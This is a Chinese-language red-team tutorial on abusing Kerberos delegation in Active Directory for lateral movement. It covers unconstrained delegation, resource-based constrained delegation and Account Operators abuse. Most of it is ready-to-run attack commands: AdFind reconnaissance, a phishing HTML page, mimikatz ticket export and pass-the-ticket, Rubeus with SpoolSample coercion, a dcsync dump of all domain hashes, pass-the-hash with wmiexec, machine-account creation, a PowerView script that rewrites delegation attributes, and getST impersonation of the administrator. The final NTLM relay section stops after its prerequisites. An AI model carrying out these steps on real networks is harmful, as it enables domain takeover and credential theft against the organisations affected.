横向移动-3(kerberos)

委派安全

https://forum.butian.net/share/1591
什么是委派?
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份再域内展开活动(请求新的服务等),类似于租房中介房东的关系。

域委派分类:
1,非约束委派(UnconstrainedDelegation,UD)
2,约束委派(Constrained Delegation,CD)
3,基于资源的约束委派(ResourceBasedConstrainedDelegation,RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过
S4U2Se1f和S4U2PrOxy两个扩展协议限制服务账户只能访问指定服务资源。
RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

利用场景:
攻击者拿到了一台配置非约束委派的机器权限,可以诱导DC来访问该机器,然后得到管理员的TGT,从而模拟域管理用户。

一,非约束委派

⽤户 A 去访问服务B,服务 B 的服务账户开启了⾮约束委派,那么当⽤户 A 访问服务 B 的时候会将⽤户 A 的 TGT发送给服务 B 并保存进内存,服务 B 能够利⽤⽤户 A 的身份去访问⽤户 A 能够访问的任意服务。

利用思路:

  • 先通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
  • 那下目标机器权限。
  • 诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
  • 拿到域管的TGT
  • 将域管的TGT注入

查找域内⾮约束委派⽤户和计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
列出域控制器名称:
AdFind -sc dclist
查询当前域中在线的计算机:
AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
AdFind -users name
查询所有GPO:
AdFind -sc gpodmp

查询域内设置了非约束委派的服务账户:

1
AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:

1
AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

1,诱使管理员访问机器
利用条件:

  • 需要administrator权限
  • 域内主机的机器账户开启非约束委派
  • 域控管理员远程访问(被动或主动)

利用思路1:
1,域控域委派机器通讯(偏理想化,不实用)
主动:

1
net use \\webserver

钓鱼:

1
2
3
4
5
6
7
8
9
10
http://192.168.3.32/31.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\\192.168.3.32\2">
</body>
</html>

2,导出票据到本地

1
mimikatz sekurlsa::tickets /export

3,导入票据到内存

1
mimikatz kerberos::ptt [0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

4,连接通讯域控

1
shell dir \\test\c$

利用思路2:
利用条件:DC 2012以上

  • Administrator权限监听
  • 打印机服务spooler开启(默认开启)

利用过程:
1,监听来自DC的请求数据并保存文件

1
shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

1
shell SpoolSample.exe dc web2016

2,Rubeus监听到票据并导入该票据

1
shell Rubeus.exe ptt /ticket:xxx

3,使用mimikatz导出域内hash

1
mimikatz lsadump::dcsync /domain:test8.com /all /csv

4,使用wmi借助hash横向移动

1
python wmiexec.py -hashes :518b32ca32c32144ck421aa31c321c test8.com/administrator@dc.test8.com -no-pass

二,资源约束委派-利用域用户主机加入(SID一致时)

1,获取受害目标(需要先上传AdFind)

1
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID

如果两台主机SID相同,则存在资源约束委派的可能性,SID不同就不存在利用的可能性
alt text
根据查询出来的 sid 找出对应的用户名:

1
shell AdFind.exe -b "DC=xiaodi,DC=local" -f "(&(objectsid=S-1-5-21-1695257952-3088263962-2055235443-1104))" objectclass cn dn

alt text
这里找出来对应的用户名是dbadmin,如果我们有这个用户的权限那么就可以进行攻击

2、利用新增机器账户

添加一个机器账户,用于申请票据(以下有三种方式)

  • 使用 addcpmputer 创建机器账户
1
python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01\$ -computer-pass Passw0rd -dc-ip 192.168.139.11
  • 使用 bloodyAD 工具创建机器账户
1
python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'
1
2
powershell Set-ExecutionPolicy Bypass -Scope Process
powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

执行后就会发现多了一个serviceA用户
alt text

3、获取sid

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1
2
3
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
S-1-5-21-1695257952-3088263962-2055235443-1104

4,设置修改委派属性

即msDS-AllowedToActOnBehalfOfOtherIdentity属性

1
2
3
4
5
6
7
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1104)" #将SID修改为上方获取的SID值
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

5,验证修改是否成功

1
Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity

6,清除修改设置

1
Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

7,利用修改后的属性申请目标请求票据后导入利用

利用 serviceA 申请访问 data 主机 cifs 服务票据:
目标主机上一般没有python环境,代理转发到本地使用py脚本
getST.py

1
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

执行完后就会产生一个ccache文件

将他传到机器上

导入票据到内存:

1
mimikatz kerberos::ptc administrator.ccache

连接利用票据:

1
shell dir \\data.xiaodi.local\c$

kali上:

1
2
3
4
5
6
7
8
9
#使用getST.py申请票据
python3 getST.py xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator -dc-ip 192.168.3.33

# 导入票据
export KRB5CCNAME=/root/Desktop/administrator.ccache

# 直接登录
python3 wmiexec.py -k xiaodi.local/administrator@data.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@data.redteam.lab -no-pass

三,资源约束委派-Acount Operators 组(SID不一致时)

利用思路:
Acount Operators 组成员可修改域内任意主机的
msDS-AllowedToActOnBehalfOfOtherIdentity 属性。(除 DC)

利用条件:
1、获取到属于 Acount Operators 组的用户账户
2、可以创建机器账户

1、判断是否有利用条件:

查询 Acount Operators 组成员:

1
shell adfind.exe -h 192.168.3.33:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiaodi,DC=local member

alt text

2、后续利用同上

  • 新增机器账户
  • 利用新增机器账户修改委派属性满足申请访问目标票款
  • 利用修改后的属性申请目标请求票据后导入利用

四,结合HTLM Relay攻击拿下主机

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击
利用条件:

  • 能创建机器账户
  • 目标开启打印机服务